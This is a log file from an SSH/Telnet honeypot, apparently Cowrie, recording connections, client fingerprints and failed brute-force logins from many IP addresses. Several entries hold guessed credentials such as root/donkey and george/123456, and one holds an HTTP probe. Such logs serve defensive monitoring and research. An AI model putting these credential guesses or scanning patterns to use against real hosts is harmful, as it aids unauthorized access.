{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:04.497475Z","src_ip":"20.205.18.79","session":"32fb52046cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54752,"dst_ip":"159.203.135.109","dst_port":23,"session":"d790b74c662a","protocol":"telnet","message":"New connection: 69.4.83.194:54752 (159.203.135.109:23) [session: d790b74c662a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:28.309158Z"}
{"eventid":"cowrie.session.closed","duration":32.97412419319153,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:28.982339Z","src_ip":"69.4.83.194","session":"ae9ec3dbec7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7413809299469,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:39.073838Z","src_ip":"69.4.83.194","session":"7881f2f13c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36991,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf21e0ad463","protocol":"ssh","message":"New connection: 168.167.72.132:36991 (159.203.135.109:22) [session: 2cf21e0ad463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:46.902593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:46.907355Z","src_ip":"168.167.72.132","session":"2cf21e0ad463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:47.162529Z","src_ip":"168.167.72.132","session":"2cf21e0ad463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"123456","message":"login attempt [george/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:48.214953Z","src_ip":"168.167.72.132","session":"2cf21e0ad463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:17:49.473230Z","src_ip":"168.167.72.132","session":"2cf21e0ad463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.017618894577026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:01.326683Z","src_ip":"69.4.83.194","session":"d790b74c662a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"0804648af25a","protocol":"telnet","message":"New connection: 79.139.59.21:56448 (159.203.135.109:23) [session: 0804648af25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:13.986315Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57590,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2dfac9f3af","protocol":"telnet","message":"New connection: 178.128.93.180:57590 (10.17.0.5:23) [session: 6b2dfac9f3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:17.481660Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59222,"dst_ip":"10.17.0.5","dst_port":23,"session":"317896885ebb","protocol":"telnet","message":"New connection: 178.128.93.180:59222 (10.17.0.5:23) [session: 317896885ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:20.733496Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d461e5c6d2","protocol":"telnet","message":"New connection: 178.128.93.180:33126 (10.17.0.5:23) [session: 55d461e5c6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:25.070597Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51818,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5a355abf192","protocol":"telnet","message":"New connection: 69.4.83.194:51818 (159.203.135.109:23) [session: c5a355abf192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:35.482718Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":50554,"dst_ip":"159.203.135.109","dst_port":22,"session":"a35a818be2d3","protocol":"ssh","message":"New connection: 38.93.206.2:50554 (159.203.135.109:22) [session: a35a818be2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:43.380138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:43.384618Z","src_ip":"38.93.206.2","session":"a35a818be2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:43.435665Z","src_ip":"38.93.206.2","session":"a35a818be2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15061987","message":"login attempt [root/15061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:43.604063Z","src_ip":"38.93.206.2","session":"a35a818be2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:44.683610Z","src_ip":"38.93.206.2","session":"a35a818be2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.5526282787323,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:51.538777Z","src_ip":"79.139.59.21","session":"0804648af25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59882,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9d795056985","protocol":"telnet","message":"New connection: 69.4.83.194:59882 (159.203.135.109:23) [session: d9d795056985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:54.601980Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49524,"dst_ip":"159.203.135.109","dst_port":22,"session":"62413acb9393","protocol":"ssh","message":"New connection: 62.133.63.178:49524 (159.203.135.109:22) [session: 62413acb9393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:57.277328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:57.282045Z","src_ip":"62.133.63.178","session":"62413acb9393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:57.399397Z","src_ip":"62.133.63.178","session":"62413acb9393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"donkey","message":"login attempt [root/donkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:57.752558Z","src_ip":"62.133.63.178","session":"62413acb9393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:18:58.872538Z","src_ip":"62.133.63.178","session":"62413acb9393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":32290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d013b12c7a1d","protocol":"telnet","message":"New connection: 34.14.70.29:32290 (10.17.0.5:23) [session: d013b12c7a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:06.558699Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":32294,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ebab88398d","protocol":"telnet","message":"New connection: 34.14.70.29:32294 (10.17.0.5:23) [session: f9ebab88398d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:06.720434Z"}
{"eventid":"cowrie.session.closed","duration":0.006187915802001953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:06.726503Z","src_ip":"34.14.70.29","session":"f9ebab88398d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.2462146282196045,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:06.804787Z","src_ip":"34.14.70.29","session":"d013b12c7a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":32302,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8ed0082ea2","protocol":"telnet","message":"New connection: 34.14.70.29:32302 (10.17.0.5:23) [session: ba8ed0082ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:06.877413Z"}
{"eventid":"cowrie.session.closed","duration":33.860217332839966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:09.342836Z","src_ip":"69.4.83.194","session":"c5a355abf192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":57856,"dst_ip":"159.203.135.109","dst_port":22,"session":"2efbadb7ba0f","protocol":"ssh","message":"New connection: 147.45.199.80:57856 (159.203.135.109:22) [session: 2efbadb7ba0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:10.608807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:10.613154Z","src_ip":"147.45.199.80","session":"2efbadb7ba0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:10.707458Z","src_ip":"147.45.199.80","session":"2efbadb7ba0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marketing","message":"login attempt [root/marketing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:10.990984Z","src_ip":"147.45.199.80","session":"2efbadb7ba0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":44226,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab2ba73284c","protocol":"ssh","message":"New connection: 103.173.227.57:44226 (159.203.135.109:22) [session: aab2ba73284c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:12.066436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:12.074783Z","src_ip":"103.173.227.57","session":"aab2ba73284c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:12.089241Z","src_ip":"147.45.199.80","session":"2efbadb7ba0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:12.312912Z","src_ip":"103.173.227.57","session":"aab2ba73284c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199716","message":"login attempt [root/199716] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:13.028406Z","src_ip":"103.173.227.57","session":"aab2ba73284c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:14.269255Z","src_ip":"103.173.227.57","session":"aab2ba73284c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca5f567a7885","protocol":"telnet","message":"New connection: 34.14.70.29:42106 (10.17.0.5:23) [session: ca5f567a7885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.035838Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.041793Z","src_ip":"34.14.70.29","session":"ca5f567a7885","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.046033Z","src_ip":"34.14.70.29","session":"ca5f567a7885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08976459503173828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.125472Z","src_ip":"34.14.70.29","session":"ca5f567a7885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42118,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd91c68d639e","protocol":"telnet","message":"New connection: 34.14.70.29:42118 (10.17.0.5:23) [session: bd91c68d639e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.200748Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d04c4c96dde","protocol":"telnet","message":"New connection: 34.14.70.29:42126 (10.17.0.5:23) [session: 0d04c4c96dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.356420Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1982ea1f344c","protocol":"telnet","message":"New connection: 34.14.70.29:42128 (10.17.0.5:23) [session: 1982ea1f344c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.519173Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42134,"dst_ip":"10.17.0.5","dst_port":23,"session":"855f30d0a97a","protocol":"telnet","message":"New connection: 34.14.70.29:42134 (10.17.0.5:23) [session: 855f30d0a97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.674849Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e414bd23d54","protocol":"telnet","message":"New connection: 34.14.70.29:42142 (10.17.0.5:23) [session: 8e414bd23d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.830863Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42150,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f0fb7746cf","protocol":"telnet","message":"New connection: 34.14.70.29:42150 (10.17.0.5:23) [session: 37f0fb7746cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:16.987020Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42152,"dst_ip":"10.17.0.5","dst_port":23,"session":"4618ce7378de","protocol":"telnet","message":"New connection: 34.14.70.29:42152 (10.17.0.5:23) [session: 4618ce7378de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.142233Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42164,"dst_ip":"10.17.0.5","dst_port":23,"session":"87815198017e","protocol":"telnet","message":"New connection: 34.14.70.29:42164 (10.17.0.5:23) [session: 87815198017e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.296590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42168,"dst_ip":"10.17.0.5","dst_port":23,"session":"4768635dfd1b","protocol":"telnet","message":"New connection: 34.14.70.29:42168 (10.17.0.5:23) [session: 4768635dfd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.450194Z"}
